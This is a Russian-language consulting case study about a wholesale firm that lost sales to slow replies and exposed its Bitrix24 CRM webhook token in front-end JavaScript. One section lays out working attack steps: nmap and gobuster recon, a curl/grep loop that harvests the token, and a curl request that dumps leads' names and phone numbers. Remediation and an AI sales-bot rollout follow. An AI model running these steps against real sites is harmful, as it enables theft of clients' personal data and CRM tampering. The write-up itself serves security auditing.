← Все разборы Информационная безопасность и автоматизация продаж

Как компания теряла клиентов на медленных ответах — и заодно раздавала свою CRM всем желающим

Собственник грешил на цену, а деньги утекали из-за трёхчасовой паузы перед ответом менеджера. Но пока считали конверсию, всплыла вторая, более неприятная находка — открытый вебхук CRM, через который заявки клиентов мог читать кто угодно.

6 августа 2026 г. Разбор CIOlogia

История началась как обычный разбор эффективности продаж: оптовая компания, торгует стройматериалами с бригадами и прорабами, заявки с сайта, из мессенджера и по телефону. Собственник был уверен, что теряет заказы из-за цены, и просил помочь снизить издержки, чтобы демпинговать вслед за конкурентами. Договорились на месяц не трогать цены, а сначала поднять историю переписки и заодно — раз уж давали доступ к интеграциям — посмотреть, как устроена связка «сайт → мессенджер → Битрикс24» с технической стороны.

Что нашли, когда посчитали скорость ответа

Среднее время первого ответа менеджера — 3 часа 40 минут, часть заявок вечером и в выходные вообще уходила в подвешенное состояние до следующего рабочего дня. При этом три конкурента отвечали за 10–15 минут. Сопоставление конверсии по скорости ответа дало разницу почти втрое: 22% заявок в сделку при ответе до 15 минут против 8% при ответе позже трёх часов. При потоке около 400 заявок в месяц и среднем чеке 12 000 ₽ это выливалось примерно в 500 000 ₽ упущенной выручки ежемесячно — и эти деньги нигде не отражались как потери, потому что заявки просто молча уходили к тем, кто ответил быстрее.

Вторая находка: заявки клиентов утекали не только из-за медлительности людей

Пока разбирались с логами переписки, всплыла техническая деталь. Форма на сайте и мессенджер-бот были подключены к Битрикс24 через входящий вебхук REST API — стандартная и удобная схема для SMB. Проблема в том, что URL этого вебхука с ключом доступа лежал прямо в клиентском JS-бандле сайта, без прокси на бэкенде и без ограничения по IP или scope прав. Фактически любой человек, открывший исходный код страницы, получал рабочий токен с правами на чтение и запись в CRM.

Как это эксплуатируется

Ниже — типичный путь атакующего или недобросовестного конкурента, который решил не ждать, пока клиент напишет ему сам, а забрать заявку прямо из чужой CRM.

Разведка сайта и поиск точек интеграции. Сначала — обычное сканирование поверхности:
```
nmap -sV -p80,443 site.example
gobuster dir -u https://site.example -w /usr/share/wordlists/dirb/common.txt -x js,json
```
Интересуют не порты, а фронтенд-ресурсы: список JS-файлов, форм и путей вида /bitrix/, /local/, /upload/.
Поиск утёкшего вебхука в клиентском коде. Битрикс24 REST API имеет узнаваемую сигнатуру URL — достаточно скачать все JS-файлы и прогнать по ним грep:
```
for f in $(gobuster dir -u https://site.example/js -w common.txt -q -o - | awk '{print $1}'); do
  curl -s "https://site.example$f" | grep -Eo 'rest/[0-9]+/[a-z0-9]+/' 
done
```
Характерный вывод — строка вида rest/12/a1b2c3d4e5f6g7h8/, это и есть путь входящего вебхука с закодированным ID пользователя и токеном.
Проверка прав токена через nuclei или напрямую curl. Шаблоны nuclei для «exposures/tokens» легко находят такие URL на массовом сканировании, а вручную достаточно одного запроса к методу чтения:
```
curl -s "https://site.example/rest/12/a1b2c3d4e5f6g7h8/crm.lead.list.json?select[]=ID&select[]=NAME&select[]=PHONE"
```
Ответ сервера показывает, что токен рабочий и «богатый»:
```
HTTP/1.1 200 OK
Content-Type: application/json

{"result":[{"ID":"4821","NAME":"Прораб Сергей","PHONE":[{"VALUE":"+7912xxxxxxx"}]}, ...],"total":132}
```
Развитие атаки — не только чтение, но и запись. Тем же токеном, без всякого пароля, доступен метод crm.lead.add. Это значит, что в CRM можно не просто подглядеть чужие лиды, а создать фиктивные заявки, спам-поток, либо — что хуже для бизнеса — перехватить контакт клиента раньше менеджера и связаться с ним напрямую от имени «того же поставщика».

Что и почему сработало бы дальше

Технически это классический пример Broken Object Level Authorization и утечки секрета в клиентском коде — темы, которые уже несколько лет подряд входят в OWASP API Security Top 10. Практический риск для оптовой компании складывается из нескольких слоёв:

Слив базы контактов конкурентам. Телефоны прорабов и бригад с историей закупок — готовый список для холодных обзвонов «мы дешевле».
Порча воронки продаж. Массовая заливка фейковых лидов через crm.lead.add забивает CRM мусором, менеджеры тратят время на обработку несуществующих заявок — это усиливает исходную проблему медленных ответов, а не решает её.
Правовые риски по 152-ФЗ. Утечка персональных данных (телефон, ФИО, объём закупки) через открытый API — формальное основание для проверки и штрафа, даже если данные никто по факту не использовал во вред.
Репутационный удар. Если клиенту позвонит «третья сторона» со ссылкой на его же заявку у поставщика, доверие к компании падает быстрее, чем от одной задержки с ответом.

Сколько это стоило в рублях — с учётом обеих проблем

Медленные ответы уже давали около 500 000 ₽ упущенной выручки в месяц на пустом месте. Открытый вебхук добавлял к этому риск разового, но куда более болезненного события: потери базы из нескольких сотен активных контактов бригад и прорабов — а на оптовом B2B-рынке стройматериалов стоимость привлечения такого клиента заново обычно кратно выше суммы одной сделки. Плюс потенциальный штраф по 152-ФЗ и часы разгребания спам-лидов в CRM, которые ложатся на тех же перегруженных менеджеров.

Как закрыли

Решение делилось на организационную часть (про неё в двух словах ниже) и техническую — про неё подробнее, потому что именно она закрывала дыру, а не просто ускоряла ответы.

Убрали токен из клиентского кода. Обращения к Битрикс24 REST API перевели через серверный прокси: фронтенд и бот больше не знают вебхук-ключ, все запросы идут через бэкенд компании.
Перевыпустили вебхук и урезали права. Старый токен отозвали в настройках Битрикс24 (Приложения → Вебхуки → Отозвать), новый выдали только с методами, реально нужными интеграции (crm.lead.add, без crm.lead.list и без прав на удаление).
Добавили ограничение по IP и rate-limit на уровне прокси — запросы к вебхуку принимаются только с серверов компании, а частота запросов ограничена, чтобы массовая заливка фейковых лидов была технически невозможна.
Включили логирование обращений к REST API с алертом на аномальные всплески — если кто-то снова найдёт активный токен, это будет видно в течение минут, а не через месяц по жалобам клиентов.
Настроили ИИ-агента на базе российской языковой модели, подключённого к сайту, мессенджеру и уже безопасной интеграции с Битрикс24: мгновенный ответ на типовые вопросы о наличии, цене и сроках доставки, квалификация заявки по объёму и региону, пересылка «горячих» заявок руководителю с пометкой перезвонить в течение 15 минут. Настройка заняла около двух недель вместе с тестами на реальных диалогах.

Что изменилось за первый месяц

Среднее время первого ответа упало с 3 часов 40 минут до 2 минут, конверсия заявок в сделки выросла с 12% до 19%, что дало дополнительно около 280 000 ₽ выручки за месяц уже за вычетом стоимости решения. Отдельно закрылась дыра, которую собственник вообще не считал проблемой — до тех пор, пока не увидел в логе прокси-сервера чужие запросы к своей же CRM.

«Я был готов терять клиентов на цене, но не думал, что теряю их просто потому, что не успел ответить — и уж точно не думал, что кто-то мог читать мои заявки раньше моих же менеджеров»

Скорость ответа — это канал утечки денег, который редко попадает в финансовые отчёты. А открытый вебхук CRM — канал утечки самой клиентской базы, который вообще нигде не отражается, пока кто-то не решит им воспользоваться. Оба закрываются в рамках одного аудита, и оба стоят в разы дешевле, чем один месяц игнорирования проблемы.